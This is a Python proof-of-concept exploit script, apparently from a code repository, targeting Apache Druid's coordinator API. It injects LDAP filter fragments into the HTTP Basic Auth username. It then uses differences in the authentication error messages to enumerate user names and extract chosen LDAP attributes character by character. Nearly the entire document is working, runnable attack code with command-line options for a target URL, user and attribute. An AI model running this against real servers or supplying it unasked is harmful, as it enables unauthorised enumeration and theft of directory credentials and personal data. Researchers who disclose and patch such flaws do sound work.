/
poc.py
executable file
·80 lines (61 loc) · 2.59 KB
/
poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python3
import argparse
import string
import logging
import requests
from requests.auth import HTTPBasicAuth
_URL = ''
_USER = ''
_ATTR = ''
_PATH = '/druid/coordinator/v1/isLeader'
_USER_MAX_LENGTH = 8
_USER_CHARSET = string.ascii_lowercase + string.digits + '_-@.'
_USER_FILTER = '{})(uid=*))(|(uid=*'
_ATTR_MAX_LENGTH = 20
_ATTR_CHARSET = string.ascii_lowercase + string.digits + '_@.'
_ATTR_CHARSET_EXCLUDE = ''
_ATTR_FILTER = '{user})({attr}={{}}))(|(uid=*'
def _exists(val, filter):
logging.debug('USER {}'.format(filter.format(val)))
r = requests.get(_URL.rstrip('/')+_PATH, auth=HTTPBasicAuth(filter.format(val), 'anything'))
logging.debug('RESP {}'.format(r.reason))
return r.reason.startswith('User authentication failed username')
def _exfiltrate(val, filter, charset, max_length, exclude='', stop_on_first=False):
if _exists(val=val, filter=filter):
print(val)
if stop_on_first:
return True
if len(val) == max_length:
return False
for c in charset:
if not c in exclude:
if _exists(val=val+c+'*', filter=filter):
ret = _exfiltrate(val=val + c, filter=filter, charset=charset, max_length=max_length, exclude=exclude)
if ret and stop_on_first:
return ret
def _enumerate_users():
logging.info('Enumerating users from {}'.format(_URL))
_exfiltrate(val='', filter=_USER_FILTER, charset=_USER_CHARSET, max_length=_USER_MAX_LENGTH)
def _exfiltrate_attr():
logging.info('Exfiltrating {} attribute of {} user from {}'.format(_ATTR, _USER, _URL))
_exfiltrate(val='', filter=_ATTR_FILTER.format(user=_USER, attr=_ATTR), charset=_ATTR_CHARSET,
max_length=_ATTR_MAX_LENGTH, exclude=_ATTR_CHARSET_EXCLUDE, stop_on_first=True)
def main():
parser = argparse.ArgumentParser(description='Druid PoC. Exfiltrate users and attributes from LDAP.')
parser.add_argument('-v', dest='verbose', required=False, action='store_true', help='Enable debug logging')
parser.add_argument('--url', dest='url', required=True, help='Druid URL, e.g. http://127.0.0.1:8888/')
parser.add_argument('--user', dest='user', required=False, help='LDAP user for which to exfiltrate attribute value')
parser.add_argument('--attr', dest='attribute', required=False, help='LDAP attribute to exfiltrate')
args = parser.parse_args()
global _URL
_URL = args.url
logging.basicConfig(format='[%(levelname)s] %(message)s', level=logging.DEBUG if args.verbose else logging.INFO)
if args.user:
global _USER, _ATTR
_USER = args.user
_ATTR = args.attribute
_exfiltrate_attr()
else:
_enumerate_users()
if __name__ == '__main__':
main()